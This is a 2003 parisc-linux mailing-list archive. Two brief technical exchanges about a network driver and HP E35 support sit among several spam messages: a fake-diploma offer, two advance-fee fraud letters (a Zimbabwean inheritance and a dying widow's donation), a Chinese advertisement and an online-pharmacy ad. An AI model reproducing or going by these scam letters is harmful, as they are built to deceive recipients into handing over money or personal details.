Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Tue, 28 Oct 2003 19:34:03 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20031028193403.GK8874@parcelfarce.linux.theplanet.co.uk>
References: <3F98D67D00001BC1@ocpmta3.freegates.net> <3F9EC44D.6040106@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622916 844 80.91.229.3 (22 Nov 2014 02:21:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:56 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 28 12:34:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A52548C8
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Oct 2003 12:34:06 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AEZbP-0000mq-Q0; Tue, 28 Oct 2003 19:34:03 +0000
Content-Disposition: inline
In-Reply-To: <3F9EC44D.6040106@tiscali.be>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19956

On Tue, Oct 28, 2003 at 07:32:29PM +0000, Joel Soete wrote:
> Anyway:
>  # ethtool eth1
> Settings for eth1:
> No data available
>  # ethtool eth0
> Settings for eth0:
> No data available
> 
> Any idea (may be switching the two interfaces: I mean just change 
> interfaces)?

As I said, the lasi_82596 driver doesn't support ethtool.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ericka Zapata" <y938fcion@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Get A Bachelor's Degree, Master's, or PhD - Classes Not Needed...esmerelda
Date: Tue, 28 Oct 2003 23:16:32 +0600
Lines: 66
Approved: news@gmane.org
Message-ID: <2s44ivt7560v1h4q4sffb@g3aaebyccj4z>
Reply-To: "Ericka Zapata" <y938fcion@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="1_26D.9A6E5.B5AB_5"
X-Trace: ger.gmane.org 1416622916 846 80.91.229.3 (22 Nov 2014 02:21:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:56 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 28 13:16:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 168-226-176-149.speedy.com.ar (168-226-176-149.speedy.com.ar [168.226.176.149])
	by dsl2.external.hp.com (Postfix) with SMTP id 02FCE4841
	for <parisc-linux@parisc-linux.org>; Tue, 28 Oct 2003 13:16:47 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19957

--1_26D.9A6E5.B5AB_5
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Academic Qualifications available from prestigious NON=96ACCREDITTED unive=
rsities.

Do you have the knowledge and the experience but lack the qualifications?

Are you getting turned down time and time again for the job of your dreams=
 because you just don't have the right letters after your name?

Get the prestige that you deserve today!

Move ahead in your career today!

Bachelors, Masters and PhD's available in your field!

No examinations! No classes! No textbooks!


Call to register and receive your qualifications within days!

24 hours a day 7 days a week!




203-286-2187 - USA




























kiyb  ubvdkovkwqe
aou
iud y
hsl
zebccyaa

--1_26D.9A6E5.B5AB_5--



From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: test@yahoo.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?ofGh8aHxofGh8aHxsqnuo7XnxNTF4NG10afQo6HxofGh8aHxofGh8Q==?=
Date: Wed, 29 Oct 2003 10:58:10 +0800
Lines: 46
Approved: news@gmane.org
Message-ID: <20031029025818.237EB4841@dsl2.external.hp.com>
Reply-To: test@yahoo.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="=_NextPart_2rfkindysadvnqw3nerasdf";
	charset="US-ASCII"
X-Trace: ger.gmane.org 1416622917 854 80.91.229.3 (22 Nov 2014 02:21:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 28 19:58:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kyoko (unknown [218.8.166.85])
	by dsl2.external.hp.com (Postfix) with ESMTP id 237EB4841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Oct 2003 19:58:18 -0700 (MST)
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19958

This is a multi-part message in MIME format

--=_NextPart_2rfkindysadvnqw3nerasdf
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

                                   ѵѧУ

        Ǽľ˹ѧУ.ӭѧУѧϰ

                                         һʱ仹

            վﲢҪ,һȴҪ

                                         "۹Ƹ,ѡǰ;"


ϵ:QQ:56155176

     ϵ绰:0454-8677203
     
     :http://www.154002.com/xue

--=_NextPart_2rfkindysadvnqw3nerasdf
Content-Type: application/octet-stream;
        name="ѧԡ.txt"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
        filename="ѧԡ.txt"
content-id=xmailer_a0

ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICCh8aHxofGh8aHxofGyqe6jtefE1MXg
0bXRp9CjofGh8aHxofGh8aHxDQoNCiAgICAgICAg1eLA78rHvNHEvsu5sqnuo7XnxNTRp9Cj1dDJ
+rDsLru2063E+sC0ztLDx9Gn0KPRp8+wtefE1A0KDQogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgILj4ztLSu8TqyrG85Lu5xPrDwMD2yMvJ+g0KDQogICAgICAgICAgICDE
473xzOzVvtTaxMTA77KisrvW2NKqLLWrysfE48/C0ruyvcL1z/LExMDvyLS63NbY0qoNCg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAi0du54r72tqiyxri7LNGh1PG+
9raox7DNviINCg0KDQrT0NLi1d/H69PrztLBqs+1OlFROjU2MTU1MTc2DQoNCiAgICAgwarPtbXn
u7A6MDQ1NC04Njc3MjAzDQogICAgIA0KICAgICDV0Mn6vPLVwjpodHRwOi8vd3d3LjE1NDAwMi5j
b20veHVlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICCh7w0KICChvsT6tcS158TUtObU2tPazfjC59bQsqKyu7CyyKssx+u+ob/s
1/awssirt8C7pCzX6LWyutq/zcjrx9ahvw0KDQogICAgICAgICAgICAgICAgIMjnufvQ6NKqztLD
x7Dv1vrE473ivvajrMfrwarPtc7Sw8c=

--=_NextPart_2rfkindysadvnqw3nerasdf--


From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C110 builtin nic slow?
Date: Wed, 29 Oct 2003 07:43:33 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <3F97A05A00002E50@ocpmta1.freegates.net>
References: <20031028193403.GK8874@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622917 856 80.91.229.3 (22 Nov 2014 02:21:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:57 +0000 (UTC)
Cc: "Grant Grundler" <grundler@parisc-linux.org>,
	"Matthew Wilcox" <willy@debian.org>,
	"parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Oct 28 23:43:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A7504841
	for <parisc-linux@lists.parisc-linux.org>; Tue, 28 Oct 2003 23:43:37 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AEk3K-0001co-00; Wed, 29 Oct 2003 07:43:34 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 29 Oct 2003 07:43:33 +0100
In-Reply-To: <20031028193403.GK8874@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19959

>As I said, the lasi_82596 driver doesn't support ethtool.

My bad: confusing lasi and lasi_82596; sorry for my misunderstanding and
thanks for clarification ;)

Joel


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ZULU AHMED DANJUMA <zuludanjuma@netscape.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] i need your help
Date: Wed, 29 Oct 2003 16:01:53 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <20031029150149.213434841@dsl2.external.hp.com>
Reply-To: zuludanjuma@netscape.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="ccde8286-9bf1-4b6d-a8b9-9f68c3876cc5"
X-Trace: ger.gmane.org 1416622917 861 80.91.229.3 (22 Nov 2014 02:21:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 29 08:01:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netscape1885.com (62-177-189-40.bbeyond.nl [62.177.189.40])
	by dsl2.external.hp.com (Postfix) with SMTP id 213434841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Oct 2003 08:01:49 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19960

This is a multi-part message in MIME format
--ccde8286-9bf1-4b6d-a8b9-9f68c3876cc5
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear friend,
You may be surprised to receive this letter from me since you do not
know me personally. I am the first Son of the most popular black
farmer in Zimbabwe who was murdered in the land dispute in my
country. I got your contact through network online hence decided to
write you. Before the death of my father, he had taken me to
Johannesburg to deposit the sum of USD15.Million (Fifteen million United
States dollars), in one of the private security company, as he
foresaw the looming danger in Zimbabwe. This money was deposited in a
box as gem stones to avoid much demurrage from Security Company.
This amount was meant for the purchase of new machines and chemicals
for the Farms and establishment of new farms in Swaziland. This land
problem came when Zimbabwean President Mr. Robert Mugabe when he
introduced a new Land Act Reform wholly affecting the rich white
farmers and some few black farmers, and this resulted to the killing
and mob action by Zimbabwean war veterans and some lunatics in the
society. In fact a lot of people were killed because of this Land
reform Act for which my father was one of the victims. it is against
this background that I and my family fled Zimbabwe to South Africa
for fear of our lives.
After which I traveled to the Netherlands and I am currently staying
in the Netherlands where i am seeking political asylum and more so
have decided to transfer my father's money to a more reliable foreign
account. Since the law of Europe prohibits a refugee (asylum seeker)
to open any bank account or to be involved in any financial
transaction throughout the territorial zone of European Union. As the
eldest child of my father, I am saddled with the responsibility of
seeking a genuine foreign account where this money could be
transferred without the knowledge of my government who are bent on
taking everything we have got.
The South African government seems to be playing along with them. I
am faced with the dilemma of moving this amount of money out of South
Africa for fear of going through the same experience in future. Both
countries have similar political history. I am seeking for a partner
who I have to entrust my future and that of my family in his hands, I
must let you know that this transaction is risk free. If you accept
to assist me and my family, all I want you to do for me, is to make
arrangements with the security company to clear the Consignment
(funds) from their affiliate office here in the Netherlands as i have
already given directives for the consignment to be brought to the
Netherlands from South Africa.
But before then all modalities will have to be put in place like
change of ownership to the consignment. I have two options for you.
Firstly you can choose to have certain percentage of the money for
nominating your account for this transaction. Or you can go into
partnership with me for the proper profitable investment of the money
in your country. Whichever the option you want, feel free to notify
me. I have also mapped out 2% of this money for all kinds of expenses
incurred in the process of this transaction.
If you do not prefer a partnership I am willing to give you 10% of
the money while the remaining 88% will be for my investment in your
country. Contact with my email-  while I implore you to maintain the
absolute secrecy required in this transaction.
Thanks, GOD BLESS YOU
Best regards,
ZULU DANJUMA
NOTE:
ON YOUR INABILITY TO HANDLE THIS TRANSACTION RESPOND TO ME AND INFORM
ME SO I CAN LOOK FOR SOMEONE ELSE.
   
--ccde8286-9bf1-4b6d-a8b9-9f68c3876cc5--



From - Thu Nov 08 21:29:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jan Prunk" <janprunk@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP E35
Date: Wed, 29 Oct 2003 18:27:32 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <BAY7-F40iKkZDDA3TZh00003939@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416622918 864 80.91.229.3 (22 Nov 2014 02:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 29 11:27:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (bay7-f40.bay7.hotmail.com [64.4.11.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 914CB4841
	for <parisc-linux@lists.parisc-linux.org>; Wed, 29 Oct 2003 11:27:38 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Wed, 29 Oct 2003 10:27:32 -0800
Original-Received: from 212.18.59.124 by by7fd.bay7.hotmail.msn.com with HTTP;
	Wed, 29 Oct 2003 18:27:32 GMT
X-Originating-IP: [212.18.59.124]
X-Originating-Email: [janprunk@hotmail.com]
X-OriginalArrivalTime: 29 Oct 2003 18:27:32.0906 (UTC) FILETIME=[5186C0A0:01C39E4A]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19961

Hello !

I am wondering where I can find information about installing linux on the 
E35 machine.
Are the scsi disks now supported ?

Regards, Jan

_________________________________________________________________
Protect your PC - get McAfee.com VirusScan Online 
http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963



From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mrs Serena Jones <serenajones1@rediffmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DONATION FOR THE LORD.
Date: Thu, 30 Oct 2003 00:45:00 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20031029234458.A91A94841@dsl2.external.hp.com>
Reply-To: serenajones1@rediffmail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="557faaa2-35fb-4680-a92f-efbd3814fad6"
X-Trace: ger.gmane.org 1416622918 869 80.91.229.3 (22 Nov 2014 02:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 29 16:45:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rediffmail3060.com (node-d-58cd.a2000.nl [62.195.88.205])
	by dsl2.external.hp.com (Postfix) with SMTP id A91A94841
	for <parisc-linux@parisc-linux.org>; Wed, 29 Oct 2003 16:44:58 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19962

This is a multi-part message in MIME format
--557faaa2-35fb-4680-a92f-efbd3814fad6
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

From: Mrs Serena Jones

PLEASE ENDEAVOUR TO USED IT FOR THE CHILDREN OF GOD.
I am the above named person from Kuwait. I am married
to Dr. Harry Jones who worked with Kuwait embassy in Ivory Co
ast for nine years before he died in the year
2000.
We were married for eleven years without a child. He died a
fter a brief illness that lasted for only
four days. Before his death we were both born again Christia
ns.Since his death I decided not to re-
marry or get a child outside my matrimonial home which the Bi
ble is against.When my late husband was alive he deposited the
sum of$8.6Million (Eight Million six hundred thousand U.S. D
ollars) with one finance/security company in Amsterderm Hollan
d. Presently, this money is still with the Security Company.
Recently, my Doctor told me that I would not last for the next
three
months due to cancer problem. Though what disturbs me most i
s my stroke sickness. Having known my condition I decided to
donate this fund to church or better still a christian individ
ual that will utilize this money the way I am going to instruc
t here in. I want a church that will use this fund to fund chu
rches, orphanages and widows propagating the word of God and t
o ensure that the house of God is maintained. The Bible made
us to understand that Blessed is the hand that giveth.
I took this decision because I don?t have any child that wil
l inherit this money and my husband relatives are not Christi
ans and I don?t want my husband?s hard earned money to be misu
sed by unbelievers. I don?t want a situation where this money
will be used in an ungodly manner. Hence the reason for taking
this bold decision. I am not afraid of death hence I know whe
re I am going. I know that I am going to be in the bosom of th
e Lord. Exodus 14 VS 14 says that the lord will fight my case
and I shall hold my peace. I don?t need any telephone communi
cation in this regard because of my health because of the pres
ence of my husband?s relatives around me always. I don?t want
them to know about this development. With God all things are p
ossible. As soon as I receive your reply I shall give you the
contact of the Finance/Security Company in Amsterderm Holland
. I will also issue you a letter of authority that will prove
you as the original-
beneficiary of this fund. I want you and the church to always
pray for me because the lord is my shephard. My
happiness is that I lived a life of a worthy Christian. Whoe
ver that wants to serve the Lord must serve him in spirit and
truth. Please always be prayerful all through your life. Any d
elay in your reply will give me room in sourcing for a chuch
or christian individual for this same purpose. Please assure
me that you will act accordingly as I stated herein. Hoping
to hearing from you.

N.B-
PLEASE I WILL ADVICE YOU TO GIVE THE LAWYER IN CHARGE A CALL IN HOLLAND =
IMMEDIATELY, HE DOES EVERYTHING ON MY BEHALF AND HE'S VERY UNDERSTANDING AND =
I BELIEVE HE WILL LEAD YOU TO YOUR SUCCESS IN JESUS NAME, THE LAWYER'S NAME =
IS GERRY SLY HIS CONTACT PHONE NUMBER IS 00-31-620-668-086.

Remain blessed in the name of the Lord.
Yours in Christ,
Mrs Serena Jones
  
--557faaa2-35fb-4680-a92f-efbd3814fad6--



From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dave Schmidt" <sb088jamzw@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ePHARMACY - VIA.GRA, Soma, Celebrex - PRICES SLASHED...Byron
Date: Thu, 30 Oct 2003 11:23:41 -0500
Lines: 70
Approved: news@gmane.org
Message-ID: <310$vt$o-37$k65$$e95c0841cpa1m5@55w.f11.ky2>
Reply-To: "Dave Schmidt" <sb088jamzw@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="_F0B.7..A.E6D58C.E5"
X-Trace: ger.gmane.org 1416622918 873 80.91.229.3 (22 Nov 2014 02:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:58 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 30 09:28:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c-67-162-237-178.client.comcast.net (c-67-162-237-178.client.comcast.net [67.162.237.178])
	by dsl2.external.hp.com (Postfix) with SMTP id 59779483E
	for <parisc-linux@parisc-linux.org>; Thu, 30 Oct 2003 09:28:44 -0700 (MST)
Original-Received: from [47.22.139.126]
	by c-67-162-237-178.client.comcast.net with ESMTP id D8BB12B763F;
	Thu, 30 Oct 2003 11:23:41 -0500
X-Mailer: Microsoft Outlook Express 6.00.2462.0000
X-Priority: 3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19963

--_F0B.7..A.E6D58C.E5
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

Wholesale Prescription Medications


www.downtown-services.com/23


Our Licensed Doctors Will Write Your Prescription


Allergies: allegra--clarinex--flonase--zyrtec

Antibiotics: cipro

Cold Sores: denavir

Depression: celexa--lexapro--paxil--prozac--remeron--sarafem--zoloft

Heartburn: nexium--prevacid--prilosec

Herpes Treatment: aldara--condylox--denavir--valtrex

Men's Health: propecia--viaegra

Motion Sickness: transderm--scop

Pain Relief: celebrex--fioricet--tramadol--ultram--vioxx

Muscle Relaxers--cyclobenzaprine--flexeril--skelaxin--soma--zanaflex

Skin Care: renova--retin a--metrogel--temovate

Sleep Aid: ambien--sonata

Stop Smoking: zyban

Weight-Loss: adipex--bontril--didrex--ionamin--meridia--phentermine--tenua=
te--xenical



www.downtown-services.com/23



All Popular Medications Prescribed and Delivered Overnight


If you wish to be excluded from our advertising  www.downtown-services.com=
/away.html









ek dqu  p
hfviqitzp vzrvpvhasvdm
y eca   au sjd
xpndunqbkckbaoewlt syhjm nxeur pqvb  dtkeirz

--_F0B.7..A.E6D58C.E5--



